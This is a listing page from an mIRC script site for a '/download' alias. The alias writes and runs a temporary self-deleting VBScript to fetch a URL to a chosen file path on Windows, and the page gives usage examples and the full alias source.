Author: westor
Added: 4y
Updated: Never
mIRC: 7.58+
Hits: 820
Downloads: 20
Review: entropy
Size: 1.93KB
1 0
Login to vote.
/download alias
v1.0
This alias allows you to download what ever you want from internet in what ever direction you want in your PC, it is ONLY working under WINDOWS, the original version was created by SReject, this is a re-written version including some extras things, if you specify an callback alias and you will receive "S_OK" that means that file has been downloaded successfully, note that this is an alias and not an identifier so you can use /download but not $download() , probably in future i may add identifier support too.
Usage:
/download "callback-alias" URL "path\to\save\the\filename.ext"
Examples:
/download "echo -a" https://mircscripts.net/raw.php?id=fk1IK "C:\Users\USERNAME_HERE\Desktop\test.mrc"
//download $qt(echo -a) https://adiirc.com/AdiIRC64.exe $qt($mircdir $+ AdiIRC.exe)
//download $qt(noop) https://adiirc.com/AdiIRC64.exe $qt($mircdir $+ AdiIRC.exe)
//download $qt(echo -a) https://adiirc.com/AdiIRC64.exe $qt($sysdir(downloads) $+ AdiIRC.exe)
//download $qt(echo -a) https://adiirc.com/AdiIRC64.exe $qt($sysdir(desktop) $+ AdiIRC.exe)
alias download { if ($isid) || (!$1) || (!$2) || (!$3) { return } if ($1 == -c) { var %callback = $gettok($1-,2,34) var %url = $gettok($gettok($1-,3,34),1,32) var %file = $gettok($1-,4,34) var %com = $gettok($gettok($1-,5,34),1,32) var %r = $iif($comerr,1,$com(%com).result) if ($com(%com)) { .comclose %com } if (%r == -1) { %callback 1 S_OK %url $qt(%file) } } elseif ($1 !== -c) { var %callback = $gettok($1-,1,34) var %url = $gettok($gettok($1-,2,34),1,32) var %file = $gettok($1-,3-,34) var %com = download $+ $rand(1,1000000000) $+ .vbs var %s = $mircdir $+ %com var %n = $left(%com,-4) .fopen -ox %n $qt(%s) .fwrite -n %n On Error Resume Next .fwrite -n %n Set args = WScript.Arguments .fwrite -n %n Url = $qt(%url) .fwrite -n %n Dim xHttp: Set xHttp = CreateObject("MSXML2.SERVERXMLHTTP.6.0") .fwrite -n %n Dim bStrm: Set bStrm = CreateObject("Adodb.Stream") .fwrite -n %n xHttp.Open "GET", Url, False .fwrite -n %n xHttp.Send .fwrite -n %n with bStrm .fwrite -n %n .Type = 1 .fwrite -n %n .Mode = 3 .fwrite -n %n .Open .fwrite -n %n .Write xHttp.ResponseBody .fwrite -n %n .SavetoFile $qt(%file) $+ , 2 .fwrite -n %n .Close .fwrite -n %n End with .fwrite -n %n Err.Clear .fwrite -n %n Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile WScript.ScriptFullName, True .fwrite -n %n WScript.Quit(-1) .fclose %n .comopen %com WScript.Shell if ($lines(%s) !== 18 || $comerr || !$comcall(%com,download -c $qt(%callback) %url $qt(%file),run,1,bstr*,$qt(%s),uint,1,bool,true)) { goto error } return } :error if ($error) { reseterror } if ($com(%com)) { .comclose %com } }
0